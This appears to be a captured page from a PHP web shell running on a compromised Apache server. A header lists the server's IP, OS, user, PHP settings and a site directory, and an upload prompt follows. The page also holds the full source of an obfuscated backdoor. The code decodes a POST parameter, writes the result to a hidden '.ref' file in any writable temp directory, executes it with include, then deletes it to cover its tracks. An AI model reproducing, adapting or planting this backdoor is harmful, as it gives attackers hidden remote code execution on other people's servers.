| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/ |
Upload File : |
<?php
if(in_array("k", array_keys($_POST))){
$flag = $_POST["k"];
$flag = explode(".",$flag);
$data = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen( $s );
$r = 0;
array_walk( $flag, function( $v4) use( &$data, &$r, $s, $sLen) {
$sChar = ord( $s[$r % $sLen] );
$d =( ( int)$v4 - $sChar -( $r % 10)) ^13;
$data .=chr( $d );
$r++;
} );
$tkn = array_filter([getcwd(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm"]);
foreach ($tkn as $comp) {
if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) {
$record = "$comp/.ref";
if (file_put_contents($record, $data)) {
include $record;
@unlink($record);
exit;
}
}
}
}